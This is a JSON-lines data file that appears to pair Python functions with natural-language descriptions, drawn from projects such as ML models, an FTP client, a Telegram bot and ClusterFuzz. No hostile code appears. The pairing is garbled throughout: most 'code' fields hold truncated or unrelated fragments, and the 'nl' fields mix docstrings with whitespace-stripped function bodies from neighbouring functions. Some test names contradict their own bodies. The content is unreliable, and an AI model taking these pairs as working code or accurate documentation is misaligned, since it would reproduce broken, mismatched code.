prediction results by the model\n\n Returns: the list of the final results.\n \"\"\"", "nl": "The main function calling the predictor.return self.model_predictor.predict(in_data)def postprocess(self, result):The postprocess that converts embeddings of CPT to final results."} {"code": "def _Import(name):\n left = []\n right = module.split('.')\n while right:\n left.append(right.pop(0))\n yield '.'.join(left + ['params'] + right)\n\n\n_TASK_ROOT = 'lingvo.tasks'\n\n\n_TASK_DIRS = (\n 'asr',\n 'image',\n 'lm',\n 'milan',\n 'mt',\n 'punctuator',\n)\n\n", "nl": "Imports the python module of the given name.print('model_imports.py: Importing %s' % name, file=sys.stderr)try:importlib.import_module(name)return Trueexcept ModuleNotFoundError as e:missing_module = re.match(\"No module named '(.*?)'\", e.msg).group(1)if not name.startswith(missing_module):raisereturn Falsedef _InsertParams(module):Try inserting 'params' everywhere in the module."} {"code": "def test_legislator_committees():\n\n rv1 = list(db.committees.find({'members.leg_id': 'EXL000001'}))\n\n leg = db.legislators.find_one('EXL000001')\n rv2 = list(leg.committees())\n\n eq_(rv1, rv2)\n\n\n@with_setup(setup_func)", "nl": "Does Legislator.committees return the correct set of committees?"} {"code": "def run_bg(command):\n\n Returns the same list of bg_jobs objects that was passed in.\n \"\"\"", "nl": "Function deprecated. Please use BgJob class instead.bg_job = BgJob(command)return bg_job.sp, bg_job.resultdef join_bg_jobs(bg_jobs, timeout=None):Joins the bg_jobs with the current thread."} {"code": "def test_get_source_url_macos(self):\n self.mock.system.return_value = 'Linux'\n self.assertEqual(\n 'gs://test-deployment-bucket/linux%s.zip' % self.deployment_suffix,\n update_task.get_source_url())", "nl": "Test get_source_url on macos.self.mock.system.return_value = 'Darwin'self.assertEqual('gs://test-deployment-bucket/macos%s.zip' % self.deployment_suffix,update_task.get_source_url())def test_get_source_url_linux(self):Test get_source_url on linux."} {"code": "def print_benchmark(self):\n\n print_filename = True\n\n\nclass StandardReport(BaseReport):\n \"\"\"Collect and print the results of the checks.\"\"\"", "nl": "Print benchmark numbers.print('%-7.2f %s' % (self.elapsed, 'seconds elapsed'))if self.elapsed:for key in self._benchmark_keys:print('%-7d %s per second (%d total)' %(self.counters[key] / self.elapsed, key,self.counters[key]))class FileReport(BaseReport):Collect the results of the checks and print the filenames."} {"code": "def mute(self, mute):\n\n An integer between 0 and 100.\n \"\"\"", "nl": "Mute (or unmute) the speaker.mute_value = \"1\" if mute else \"0\"self.renderingControl.SetMute([(\"InstanceID\", 0), (\"Channel\", \"Master\"), (\"DesiredMute\", mute_value)])@propertydef volume(self):int: The speaker's volume."} {"code": "def get_cookiejar(self):", "nl": "Gets the cookiejar from the requests session.return self.session.cookiesdef set_user_agent(self, user_agent):Replaces the current user agent in the requests session headers."} {"code": "def compute_residual(self, x, y):\n return self.selector.compute_residual(x, y)\n", "nl": "Compute residualArgs:x (np.ndarray): input arrayy (np.ndarray): target arrayReturns: residual vector"} {"code": "def write_dir_or_remove(path):\n try:\n os.makedirs(path, exist_ok=True)\n yield\n except:\n shutil.rmtree(path, ignore_errors=True)\n raise\n\n\nclass BinaryParser:\n \"\"\"Helper class to read from binary file object\"\"\"", "nl": "Create a directory for writing, and its parent directory if neededIf the writing fails, the directory and its content is removed."} {"code": "def copy_files_and_create_dirs(files: List[Tuple[str, str]]) -> None:\n for file in files:\n target_dir_name = os.path.dirname(file[1])\n\n if not os.path.exists(target_dir_name):\n os.makedirs(target_dir_name)\n\n shutil.copyfile(file[0], file[1])\n\n\n", "nl": "Takes in a list of tuples of (src, dst) paths and copies files.Will create all necessary directories."} {"code": "def p_user_property(self, p):\n p[0] = tuple(list(p)[1:])\n", "nl": " user_property : css_user_property| css_user_property t_ws"} {"code": "def forward(self, x):\n assert len(x) == len(self.in_channels)\n ups = [deblock(x[i]) for i, deblock in enumerate(self.deblocks)]\n\n if len(ups) > 1:\n out = torch.cat(ups, dim=1)\n else:\n out = ups[0]\n return out\n\n\nclass Anchor3DHead(nn.Module):\n", "nl": "Forward function.Args:x (torch.Tensor): 4D Tensor in (N, C, H, W) shape.Returns:torch.Tensor: Feature maps."} {"code": "def accuracy(output, target, topk=(1,)):\n return OnlineNorm2D(num_features, alpha_fwd=alpha_fwd, alpha_bkw=alpha_bkw,\n eps=eps, affine=affine, ecm=ecm, **kwargs)\n\n\nif __name__ == '__main__':\n main()", "nl": "Computes the accuracy over the k top predictions for the specified values of kwith torch.no_grad():maxk = max(topk)batch_size = target.size(0)_, pred = output.topk(maxk, 1, True, True)pred = pred.t()correct = pred.eq(target.view(1, -1).expand_as(pred))res = []for k in topk:correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)res.append(correct_k.mul_(100.0 / batch_size))return resdef online_norm(num_features, alpha_fwd=0.999, alpha_bkw=0.99,eps=1e-05, affine=True, ecm='ls', **kwargs): Function which instantiates Online Norm Layer "} {"code": "def dropped_index_test(self):\n\n self.cluster.populate(1).start()\n node = self.cluster.nodes.values()[0]\n\n session = self.patient_cql_connection(node)\n session.execute(\"\"\"\n\n session.set_keyspace(KEYSPACE)\n session.execute(\"CREATE TABLE IF NOT EXISTS mytable (a int PRIMARY KEY, b int)\")\n session.execute(\"CREATE INDEX IF NOT EXISTS bindex ON mytable(b)\")\n\n insert_statement = session.prepare(\"INSERT INTO mytable (a, b) VALUES (?, ?)\")\n for i in range(10):\n session.execute(insert_statement, (i, 0))\n\n query_statement = session.prepare(\"SELECT * FROM mytable WHERE b=?\")\n print \"Number of matching rows:\", len(list(session.execute(query_statement, (0,))))\n\n session.execute(\"DROP INDEX bindex\")\n\n try:\n print \"Executing prepared statement with dropped index...\"\n session.execute(query_statement, (0,))\n except InvalidRequest as ir:\n print ir\n except Exception:\n raise", "nl": "Prepared statements using dropped indexes should be handled correctly"} {"code": "def create_project_settings(project, info, service_account):\n for platform in PUBSUB_PLATFORMS:\n name = untrusted.queue_name(project, platform)\n client = pubsub.PubSubClient()\n application_id = utils.get_application_id()\n\n topic_name = pubsub.topic_name(application_id, name)\n if client.get_topic(topic_name) is None:\n client.create_topic(topic_name)\n\n subscription_name = pubsub.subscription_name(application_id, name)\n if client.get_subscription(subscription_name) is None:\n client.create_subscription(subscription_name, topic_name)\n\n", "nl": "Setup settings for ClusterFuzz (such as CPU distribution).key = ndb.Key(data_types.OssFuzzProject, project)oss_fuzz_project = key.get()# Expecting to run a blackbox fuzzer, so use high end hosts.is_high_end = info.get('blackbox', False)ccs = ccs_from_info(info)language = info.get('language')if oss_fuzz_project:if oss_fuzz_project.service_account != service_account['email']:oss_fuzz_project.service_account = service_account['email']oss_fuzz_project.put()if oss_fuzz_project.high_end != is_high_end:oss_fuzz_project.high_end = is_high_endoss_fuzz_project.put()if oss_fuzz_project.ccs != ccs:oss_fuzz_project.ccs = ccsoss_fuzz_project.put()else:if language in MEMORY_SAFE_LANGUAGES:cpu_weight = OSS_FUZZ_MEMORY_SAFE_LANGUAGE_PROJECT_WEIGHTelse:cpu_weight = OSS_FUZZ_DEFAULT_PROJECT_CPU_WEIGHTdata_types.OssFuzzProject(id=project,name=project,high_end=is_high_end,cpu_weight=cpu_weight,service_account=service_account['email'],ccs=ccs).put()def create_pubsub_topics(project):Create pubsub topics for tasks."} {"code": "def PrintIndentifiers(filename, should_print):\n source = utils.ReadFile(filename, False)\n if source is None:\n sys.stderr.write('Unable to find: %s\\n' % filename)\n return\n\n builder = BuilderFromSource(source, filename)\n try:\n for node in builder.Generate():\n if should_print(node):\n print(node.name)\n except KeyboardInterrupt:\n return\n except:\n pass\n\n", "nl": "Prints all identifiers for a C++ source file.Args:filename: 'file1'should_print: predicate with signature: bool Function(token)"} {"code": "def learn(self, examples, attributes, parent_examples):\n if not examples:\n return self.plurality_value(parent_examples)\n elif len(set(map(self.target, examples))) == 1:\n return self.plurality_value(examples)\n elif not attributes:\n return self.plurality_value(examples)\n A = max(attributes, key=lambda a: self.importance(a, examples))\n tree = DecisionTreeNode(attribute=A)\n for value in set(map(A, examples)):\n exs = [e for e in examples if A(e) == value]\n subtree = self.learn(exs, attributes - set([A]), examples)\n tree.add_branch(value, subtree)\n return tree\n", "nl": "A decision tree learner that *strictly* follows the pseudocode given inAIMA. In 3rd edition, see Figure 18.5, page 702."} {"code": "def generate_delex(self, meta):\n for k, v in meta.items():\n domain, intent = k.split('-')\n if intent == \"Request\":\n for pair in v:\n if type(pair[1]) != str:\n pair[1] = str(pair[1])\n pair.insert(1, '?')\n else:\n counter = {}\n for pair in v:\n if type(pair[1]) != str:\n pair[1] = str(pair[1])\n if pair[0] == 'Internet' or pair[0] == 'Parking':\n pair.insert(1, 'yes')\n elif pair[0] == 'none':\n pair.insert(1, 'none')\n else:\n if pair[0] in counter:\n counter[pair[0]] += 1\n else:\n counter[pair[0]] = 1\n pair.insert(1, str(counter[pair[0]]))\n\n meta_ = deepcopy(meta)\n for k, v in meta.items():\n for triple in v:\n voc = 'd-a-s-v:' + k + '-' + triple[0] + '-' + triple[1]\n if voc not in self.dataset.cardinality:\n meta_[k].remove(triple)\n if not meta_[k]:\n del (meta_[k])\n meta = meta_\n\n do_idx, da_idx, sv_idx, featStr = self.dataset.getFeatIdx(meta)\n do_cond = [1 if i in do_idx else 0 for i in range(self.dataset.do_size)]\n da_cond = [1 if i in da_idx else 0 for i in range(self.dataset.da_size)]\n sv_cond = [1 if i in sv_idx else 0 for i in range(self.dataset.sv_size)]\n feats = [do_cond + da_cond + sv_cond]\n\n feats_var = torch.FloatTensor(feats)\n if self.USE_CUDA:\n feats_var = feats_var.cuda()\n\n decoded_words = self.model.generate(self.dataset, feats_var, self.args['beam_size'])\n delex = decoded_words[0]\n\n return delex\n", "nl": "meta = {\"Attraction-Inform\": [[\"Choice\",\"many\"],[\"Area\",\"centre of town\"]],\"Attraction-Select\": [[\"Type\",\"church\"],[\"Type\",\" swimming\"],[\"Type\",\" park\"]]}"} {"code": "def _delete_hook(path):\n if path.exists():\n if path.is_file():\n path.unlink()\n else:\n shutil.rmtree(path)\n\n click.echo(f'Deleted hook located at {path}')\n\n\npre_commit_hook = \"\"\"\n\npost_commit_hook = \"\"\"\n", "nl": "Delete a git hook at the given path"} {"code": "def exec_while(condition, inner_while):\n states._while_lock = True\n\n if callable(inner_while):\n branch = inner_while()\n if branch is None:\n raise SyntaxError(\"require function return value\")\n else:\n raise TypeError(\"condition to run would be a function\")\n\n branch_dict = output.extract_step_return(branch)\n recursive_name = \"exec-while-\" + branch_dict[\"name\"]\n recursive_id = \"exec-while-\" + branch_dict[\"id\"]\n if states.workflow.get_template(recursive_name) is None:\n template = Steps(name=recursive_name)\n else:\n raise SyntaxError(\"Recursive function can not be called twice \")\n\n step_out_name = \"%s-%s\" % (recursive_name, \"exit\")\n pre = condition[\"pre\"]\n pre_dict = output.extract_step_return(pre)\n condition_suffix = condition[\"condition\"]\n\n when_prefix = \"{{steps.%s.%s}} %s %s\" % (\n branch_dict[\"id\"],\n branch_dict[\"output\"],\n condition_suffix,\n pre_dict[\"value\"],\n )\n step_out_template = OrderedDict(\n {\n \"name\": step_out_name,\n \"template\": recursive_name,\n \"when\": when_prefix,\n }\n )\n step_out_id = utils.invocation_name(step_out_name, recursive_id)\n states._while_steps[step_out_id] = [step_out_template]\n\n template.steps = list(states._while_steps.values())\n\n states.workflow.add_template(template)\n\n recursive_out_step = Step(name=recursive_id, template=recursive_name)\n states.workflow.add_step(name=recursive_id, step=recursive_out_step)\n\n states._while_lock = False\n states._while_steps = OrderedDict()", "nl": "Generate the Argo recursive logic. For examplehttps://github.com/argoproj/argo/blob/master/examples/README.md#recursion."} {"code": "def parse_action_fields(self):\n\n log.logger.debug('Parsing action fields')\n\n field_error_list = []\n rownum = 1\n\n try:\n for key in self.action_field_dict:\n for field in self.read_trigger_data().fieldnames:\n if re.match(self.action_field_dict[key].pattern, field, re.IGNORECASE):\n log.logger.debug('found field match! : {}'.format(field))\n self.action_field_dict[key].match_list.append(field)\n\n log.logger.debug('searching for action fields')\n\n action_flags = []\n for i, found_flag in list(self.action_field_dict.items()):\n if found_flag.is_action_flag and found_flag.has_match():\n action_flags.append(found_flag.name)\n\n if len(action_flags) > 0:\n\n self.alert_type = ADVANCED_ALERT\n log.logger.debug('Advanced alert detected')\n\n if self.subscriber_sysname != self.owner_sysname:\n errormessage = 'You must be the owner of the workbook in order to use Advanced Alerts.

' \\\n 'Subscriber {} to advanced alert subscription_id {} is not the owner, {}'.format(\n self.subscriber_sysname,\n self.subscription_id,\n self.owner_sysname)\n log.logger.error(errormessage)\n self.error_list.append(errormessage)\n return []\n\n for action_field in self.action_field_dict:\n\n action_flag = self.get_action_flag_field(\n self.action_field_dict[action_field].action_type)\n\n if self.action_field_dict[action_field].has_match():\n\n\n if self.action_field_dict[action_field].action_type == EMAIL_ACTION_TYPE \\\n and not self.action_enabled_email:\n self.action_field_dict[action_field].error_list.append(\n 'Email actions are not allowed for this alert, per administrative settings')\n\n if self.action_field_dict[action_field].action_type == SMS_ACTION_TYPE:\n if not config.configs['smsaction.enable']:\n self.action_field_dict[action_field].error_list.append(\n 'SMS actions are not enabled, per administrative settings')\n elif not self.action_enabled_sms:\n self.action_field_dict[action_field].error_list.append(\n 'SMS actions are not allowed for this alert, per administrative settings')\n elif not smsaction.smsclient:\n self.action_field_dict[action_field].error_list.append(\n 'SMS actions cannot be processed right now--no valid client. '\n 'Please contact your administrator.')\n\n if len(self.action_field_dict[action_field].match_list) > 1:\n self.action_field_dict[action_field].error_list.append(\n 'Multiple matches found for field {}. Found: {}'.format(\n action_field,\n ''.join(self.action_field_dict[action_field].match_list)\n ))\n\n if not action_flag and self.action_field_dict[action_field].action_type != GENERAL_ACTION_TYPE:\n self.action_field_dict[action_field].error_list.append(\n 'VizAlerts has a bug; please contact the developers')\n\n if action_flag:\n if not self.action_field_dict[action_flag].has_match():\n self.action_field_dict[action_field].error_list.append(\n 'Could not find action flag field {}, which is necessary for {} actions.'.format(\n self.action_field_dict[action_flag].get_user_facing_fieldname(),\n self.action_field_dict[action_field].action_type))\n\n if self.action_field_dict[action_field].name == CONSOLIDATE_LINES_FIELDKEY and \\\n EMAIL_ACTION_FIELDKEY in action_flags and SMS_ACTION_FIELDKEY in action_flags:\n self.action_field_dict[action_field].error_list.append(\n '{} may not be used with both {} and {}'.format(\n self.action_field_dict[action_field].name,\n EMAIL_ACTION_FIELDKEY,\n SMS_ACTION_FIELDKEY))\n\n else:\n\n if action_flag:\n if self.action_field_dict[action_flag].has_match() \\\n and self.action_field_dict[action_field].is_required \\", "nl": "Parse the trigger data and map field names to VizAlert action fieldsReturns a list of dicts containing any errors found"} {"code": "def GetTpuEmbeddingGraphCollection():\n", "nl": "Return the graph collection that stores the TpuEmbeddingCollection.tpu_emb_graph_collection = tf.get_collection_ref('__tpu_embedding_collection')assert len(tpu_emb_graph_collection) <= 1return tpu_emb_graph_collectionclass AuxLossContext:Context that holds a list of aux-losses."} {"code": "def makeport(self):\n\n If the transfer is active, send a port command and the\n transfer command, and accept the connection. If the server is\n passive, send a pasv command, connect to it, and start the\n transfer command. Either way, return the socket for the\n connection and the expected size of the transfer. The\n expected size may be None if it could not be determined.\n\n Optional `rest' argument can be a string that is sent as the\n argument to a REST command. This is essentially a server\n marker used to tell the server to skip over any data up to the\n given marker.\n \"\"\"", "nl": "Create a new socket and send a PORT command for it.sock = socket.create_server((\"\", 0), family=self.af, backlog=1)port = sock.getsockname()[1] # Get proper porthost = self.sock.getsockname()[0] # Get proper hostif self.af == socket.AF_INET:resp = self.sendport(host, port)else:resp = self.sendeprt(host, port)if self.timeout is not _GLOBAL_DEFAULT_TIMEOUT:sock.settimeout(self.timeout)return sockdef makepasv(self):if self.af == socket.AF_INET:host, port = parse227(self.sendcmd('PASV'))else:host, port = parse229(self.sendcmd('EPSV'), self.sock.getpeername())return host, portdef ntransfercmd(self, cmd, rest=None):Initiate a transfer over the data connection."} {"code": "def showCoordinates(self, pos=None, color=Color.GREEN, size=None):\n ts = self\n f = ts[-1]\n img = f.image\n if not pos:\n imgsize = img.size()\n pos = (imgsize[0]-120, 10)\n if not size:\n size = 16\n text = \"x = %d y = %d\" % (f.x, f.y)\n img.drawText(text, pos[0], pos[1], color, size)\n", "nl": "**SUMMARY**Show the co-ordinates of the object in text on the current frame.**PARAMETERS*** *pos* - A tuple consisting of x, y values. where to put to the text* *color* - The color to draw the object. Either an BGR tuple or a member of the :py:class:`Color` class.* *size* - Fontsize of the text**RETURNS**Nada. Nothing. Zilch.**EXAMPLE**>>> while True:... img1 = cam.getImage()... ts = img1.track(\"camshift\", ts1, img, bb)... ts.showCoordinates() # For continuous bounding box... img = img1"} {"code": "def test_writeExtended(self):\n cb = [False]", "nl": "Test that writeExtended handles data correctly. Send extended dataup to the size of the window, splitting the extended data into packetsof length remoteMaxPacket."} {"code": "def renderSuccessful(self,jobId,avatarId,writeToFile):\n self.notify.debug(\"Successfully rendered avatar %d to %s\" % (avatarId,writeToFile))\n self.air.sendUpdateToGlobalDoId(\"SnapshotDispatcherUD\",\"renderSuccessful\",self.dispatcherLoc,[self.myLoc,jobId])\n self.startAskingForWork()\n\n\n\n", "nl": "Tell the dispatcher we finished the current task.If we don't hear back immediately, there's no new workso we need to start polling again"} {"code": "def __init__(self, data):\n super().__init__()\n self.data = data\n self.process_list = ProcessList(data)\n self.root = self.process_list.get_root_process()\n", "nl": ":param data: dict, response from container.top()"} {"code": "def GetPrintableExceptionString(exc):\n\n Args:\n string: Union[str, unicode, bytes] Text that will be checked for\n ASCII values.\n message: Union[str, unicode, bytes] Error message, passed into the\n exception, in the event that the check on `string` fails.\n\n Returns:\n None\n\n Raises:\n CommandException\n \"\"\"", "nl": "Returns a short Unicode string describing the exception.return six.text_type(exc).encode(UTF8) or six.text_type(exc.__class__)def InsistAscii(string, message):Ensures that the string passed in consists of only ASCII values."} {"code": "def with_queue(self, queue):\n\n if queue is not None:\n assert queue.context == self.context\n\n return self._new_with_changes(self.base_data, self.offset,\n queue=queue)\n", "nl": "Return a copy of *self* with the default queue set to *queue*.*None* is allowed as a value for *queue*... versionadded:: 2013.1"} {"code": "def vflip(img):\n return F_pil.vflip(img)\n\n\n", "nl": "Function for vertically flipping the given image.Args::[in] img(PIL Image.Image): Input image.Example::img = Image.open(...)img_ = transform.vflip(img)"} {"code": "def setup_bot_info(self):\n :param msg: msg object from telepot\n :return: if msg sent to a group, will return Groups name, return msg type otherwise\n \"\"\"", "nl": "Setup bot.id, bot.name and bot.username fields_bot_data = yield from self.getMe()self.id = _bot_data['id']self.name = _bot_data['first_name']self.username = _bot_data['username']logger.info(\"telepot bot - id: {}, name: {}, username: {}\".format( self.id,self.name,self.username ))def add_command(self, cmd, func):self.commands[cmd] = funcdef remove_command(self, cmd):if cmd in self.commands:del self.commands[cmd]@staticmethoddef is_command(msg):ho_bot_aliases = tuple(tg_bot.ho_bot.memory.get(\"bot.command_aliases\") or [])if 'text' in msg:if( msg['text'].startswith('/')and not msg['text'].startswith(ho_bot_aliases) ):return Truereturn False@staticmethoddef parse_command(cmd):txt_split = cmd.split()return txt_split[0].split(\"@\")[0], txt_split[1:]@staticmethoddef get_user_id(msg):if 'from' in msg:return str(msg['from']['id'])return \"\"@staticmethoddef get_username(msg, chat_action='from'):if 'username' in msg[chat_action]:return str(msg[chat_action]['username'])return \"\"@staticmethoddef on_message(bot, chat_id, msg):logger.info(\"unhandled message from {} with text {}\".format(msg['from']['id'], msg['text'] ))@staticmethoddef on_photo(bot, chat_id, msg):logger.info(\"unhandled photo from {} with metadata {}\".format(msg['from']['id'], msg['photo'] ))@staticmethoddef on_sticker(bot, chat_id, msg):logger.info(\"unhandled sticker from {} with metadata {}\".format(msg['from']['id'], msg['sticker'] ))@staticmethoddef on_user_join(bot, chat_id, msg):logger.info(\"unhandled new user {}\".format(msg['new_chat_member']['first_name'] ))@staticmethoddef on_user_leave(bot, chat_id, msg):logger.info(\"unhandled user exit {}\".format(msg['left_chat_member']['first_name'] ))@staticmethoddef on_location_share(bot, chat_id, msg):logger.info(\"unhandled location sharing from {}\".format(msg['from']['first_name'] ))@staticmethoddef on_supergroup_upgrade(bot, msg):logger.info(\"unhandled supergroup upgrade from uid {} to {}\".format(msg['chat']['id'], msg['migrate_to_chat_id'] ))def set_on_message_callback(self, func):self.onMessageCallback = funcdef set_on_photo_callback(self, func):self.onPhotoCallback = funcdef set_on_sticker_callback(self, func):self.onStickerCallback = funcdef set_on_user_join_callback(self, func):self.onUserJoinCallback = funcdef set_on_user_leave_callback(self, func):self.onUserLeaveCallback = funcdef set_on_location_share_callback(self, func):self.onLocationShareCallback = funcdef set_on_supergroup_upgrade_callback(self, func):self.onSupergroupUpgradeCallback = funcdef is_telegram_admin(self, user_id):tg_conf = _telesync_config(self.ho_bot)if \"admins\" in tg_conf and user_id in tg_conf[\"admins\"]:return Trueelse:return False@asyncio.coroutinedef get_hangouts_image_id_from_telegram_photo_id(self, photo_id, original_is_gif=False):metadata = yield from self.getFile(photo_id)file_path = metadata[\"file_path\"]photo_path = \"https://api.telegram.org/file/bot{}/{}\".format(self.config['api_key'], file_path)logger.info(\"retrieving: {}\".format(file_path))if file_path.endswith(\".mp4\") and original_is_gif:photo_path = yield from convert_online_mp4_to_gif(photo_path)try:ho_photo_id = yield from self.ho_bot.call_shared(\"image_upload_single\", photo_path)except KeyError:# image plugin not loadedlogger.warning(\"no shared hangoutsbot image upload, please add image plugin to your list of plugins\")ho_photo_id = Falsereturn ho_photo_id@asyncio.coroutinedef handle(self, msg):config = _telesync_config(tg_bot.ho_bot)if 'migrate_to_chat_id' in msg:yield from self.onSupergroupUpgradeCallback(self, msg)else:flavor = telepot.flavor(msg)if flavor == \"chat\": # chat messagecontent_type, chat_type, chat_id = telepot.glance(msg)if content_type == 'text':if TelegramBot.is_command(msg): # bot commandcmd, params = TelegramBot.parse_command(msg['text'])user_id = TelegramBot.get_user_id(msg)args = {'params': params, 'user_id': user_id, 'chat_type': chat_type}if cmd in self.commands:yield from self.commands[cmd](self, chat_id, args)else:if \"be_quiet\" in self.config and self.config[\"be_quiet\"]:passelse:yield from self.sendMessage(chat_id, \"Unknown command: {cmd}\".format(cmd=cmd))else: # plain text messageyield from self.onMessageCallback(self, chat_id, msg)elif content_type == 'location':yield from self.onLocationShareCallback(self, chat_id, msg)elif content_type == 'new_chat_member':yield from self.onUserJoinCallback(self, chat_id, msg)elif content_type == 'left_chat_member':yield from self.onUserLeaveCallback(self, chat_id, msg)elif content_type == 'photo':yield from self.onPhotoCallback(self, chat_id, msg)elif content_type == 'sticker':yield from self.onStickerCallback(self, chat_id, msg)elif content_type == 'document':if msg[\"document\"][\"mime_type\"] == \"image/gif\":# non-animated gif, treat like a photomsg['photo'] = [ msg[\"document\"] ]msg['photo'][0][\"width\"] = 1 # XXX: required for tg_util_get_photo_list() sortyield from self.onPhotoCallback(self, chat_id, msg)elif msg[\"document\"][\"mime_type\"] == \"video/mp4\":logger.debug(\"received video/mp4 as a document: {}\".format(msg))# telegram converts animated gifs to mp4, upload is incompatible with hangouts# treat like a photo anyway, hint to backend to resolve the issueif \"convert-with-gifscom\" not in config or not config[\"convert-with-gifscom\"]:msg['photo'] = [ msg[\"document\"][\"thumb\"] ]yield from self.onPhotoCallback(self, chat_id, msg)else:msg['photo'] = [ msg[\"document\"] ]msg['photo'][0][\"width\"] = 1 # XXX: required for tg_util_get_photo_list() sortyield from self.onPhotoCallback(self, chat_id, msg, original_is_gif=True)elif msg[\"document\"][\"mime_type\"].startswith(\"image/\"):# treat images like photosmsg['photo'] = [ msg[\"document\"] ]msg['photo'][0][\"width\"] = 1 # XXX: required for tg_util_get_photo_list() sortyield from self.onPhotoCallback(self, chat_id, msg)else:logger.warning(\"unhandled document: {}\".format(msg))else:logger.warning(\"unhandled content type: {} {}\".format(content_type, msg))elif flavor == \"inline_query\": # inline query e.g. \"@gif cute panda\"query_id, from_id, query_string = telepot.glance(msg, flavor=flavor)logger.info(\"inline_query {}\".format(msg))elif flavor == \"chosen_inline_result\":result_id, from_id, query_string = telepot.glance(msg, flavor=flavor)logger.info(\"chosen_inline_result {}\".format(msg))else:raise telepot.BadFlavor(msg)def tg_util_get_group_name(msg):"} {"code": "def choose_implied_language(title_1, title_2, title_list, user_input, region_data):\n\n implied_languages = []\n\n for region in user_input.user_region_order:\n if region_data.implied_language[region] != '':\n if region_data.implied_language[region] not in implied_languages:\n implied_languages.append(region_data.implied_language[region])\n\n if (\n '[bios]' not in title_1.full_name_lower\n and '[bios]' not in title_2.full_name_lower):\n if (\n title_1.languages != ''\n and title_2.languages != ''\n and title_1.title_languages != ''\n and title_2.title_languages != ''\n and implied_languages != []):\n for implied_language in implied_languages:\n if(\n bool(re.search(implied_language, title_1.languages)) == True\n and bool(re.search(implied_language, title_2.languages)) == False):\n if title_2 in title_list: title_list.remove(title_2)\n break\n elif(\n bool(re.search(implied_language, title_2.languages)) == True\n and bool(re.search(implied_language, title_1.languages)) == False):\n if title_1 in title_list: title_list.remove(title_1)\n break\n elif (\n title_1.languages != ''\n and title_2.languages != ''\n and title_1.languages != title_2.languages\n and (\n title_1.title_languages == '' or\n title_2.title_languages == '')):\n\n for region in user_input.user_region_order:\n if region_data.implied_language[region] != '':\n if (\n bool(re.search(region_data.implied_language[region], title_1.languages)) == True\n and bool(re.search(region_data.implied_language[region], title_2.languages)) == False):\n if title_2 in title_list: title_list.remove(title_2)\n break\n elif (\n bool(re.search(region_data.implied_language[region], title_2.languages)) == True\n and bool(re.search(region_data.implied_language[region], title_1.languages)) == False):\n if title_1 in title_list: title_list.remove(title_1)\n break\n\n if (\n title_1 in title_list\n and title_2 in title_list):\n for region in region_data.all:\n if region_data.implied_language[region] != '':\n if (\n bool(re.search(region_data.implied_language[region], title_1.languages)) == True\n and bool(re.search(region_data.implied_language[region], title_2.languages)) == False):\n if title_2 in title_list: title_list.remove(title_2)\n break\n elif (\n bool(re.search(region_data.implied_language[region], title_2.languages)) == True\n and bool(re.search(region_data.implied_language[region], title_1.languages)) == False):\n if title_1 in title_list: title_list.remove(title_1)\n break\n\n", "nl": " Cycles through the implied language order until one title doesn't havethe required language "} {"code": "def having(self, expr: ir.BooleanScalar) -> GroupedTable:\n return self.__class__(\n self.table,\n self.by,\n having=self._having + util.promote_list(expr),\n order_by=self._order_by,\n window=self._window,\n )\n", "nl": "Add a post-aggregation result filter `expr`.Parameters----------exprAn expression that filters based on an aggregate value.Returns-------GroupedTableA grouped table expression"} {"code": "def create_rnn():\n model = Sequential()\n\n model.add(SimpleRNN(output_dim=3, stateful=True, batch_input_shape=(1, 1, 3)))\n model.add(Dense(input_dim=3, output_dim=3))\n\n model.compile(loss='mse', optimizer='rmsprop')\n\n return model\n\n", "nl": "Create a recurrent neural network to compute a control policy.Reference:Koutnik, Jan, Jurgen Schmidhuber, and Faustino Gomez. \"Evolving deepunsupervised convolutional networks for vision-based reinforcementlearning.\" Proceedings of the 2014 conference on Genetic andevolutionary computation. ACM, 2014."} {"code": "def Convert(self, argument):\n\n If lower_bound or upper_bound are set, then this flag must be\n within the given range.\n \"\"\"", "nl": "Converts argument to a float; raises ValueError on errors.return float(argument)def Type(self):return 'float'# End of FloatParserdef DEFINE_float(name, default, help, lower_bound=None, upper_bound=None,flag_values=FLAGS, **args):Registers a flag whose value must be a float."} {"code": "def normalize_coords(grid):\n assert grid.size(1) == 2\n h, w = grid.size()[2:]\n grid[:, 0, :, :] = 2 * (grid[:, 0, :, :].clone() / (w - 1)) - 1\n grid[:, 1, :, :] = 2 * (grid[:, 1, :, :].clone() / (h - 1)) - 1\n return grid\n\n", "nl": "Normalize coordinates of image scale to [-1, 1]Args:grid: [B, 2, H, W]"} {"code": "def get_summary(self):\n return self.__nonzero__()\n", "nl": "Return (sha1_short, subject) for this commit.if not self.sha1:raise ValueError('Empty commit has no summary')return next(iter(generate_summaries('--no-walk', self.sha1)))def __eq__(self, other):return isinstance(other, GitObject) and self.sha1 == other.sha1def __ne__(self, other):return not self == otherdef __hash__(self):return hash(self.sha1)def __nonzero__(self):return bool(self.sha1)def __bool__(self):Python 2 backward compatibility"} {"code": "def filter_patterns(self):\n patterns = self._patterns\n pattern_list = self._patterns.get_patterns()\n\n if not patterns._perform_analysis:\n for p in pattern_list:\n for m in p.get_matches():\n links = m.get_links()\n self._found_patterns.append(links)\n return\n\n for pattern in pattern_list:\n\n for match in pattern.get_matches():\n\n if patterns.sup_threshold(match.get_rate(patterns)):\n\n if match.get_links() not in self._found_patterns:\n links = match.get_links()\n\n ok = True\n\n for pattern_id, match_dict in links.items():\n p = patterns.get_pattern(pattern_id)\n\n if len(match_dict) < p.get_min_pattern():\n ok = False\n break\n\n if len(match_dict) > p.get_max_pattern():\n ok = False\n break\n if ok:\n self._found_patterns.append(links)\n", "nl": "Search good patterns.This method filter patterns matches that respect our rules. It fillsthe `_found_patterns` attributes of this class."} {"code": "def setCenterPoint(self, pos):\n self.centerOn(pos[0],pos[1])\n", "nl": "Sets the current scene center point.:param tuple pos: x & y coordinates."} {"code": "def test_displaysHelpCorrectly(self):\n newStdout = StringIO()\n options = DummyOptions()\n options.authOutput = newStdout\n self.assertRaises(\n SystemExit, options.parseOptions, ['--help-auth-type', 'file'])\n for line in cred_file.theFileCheckerFactory.authHelp:\n if line.strip():\n self.assertIn(line.strip(), newStdout.getvalue())\n\n", "nl": "Test that the --help-auth-for argument will correctly displaythe help file for a particular authentication plugin."} {"code": "def broadcast(bot, event, *args):\n\n conv_info = [ \"
{}
...
{}
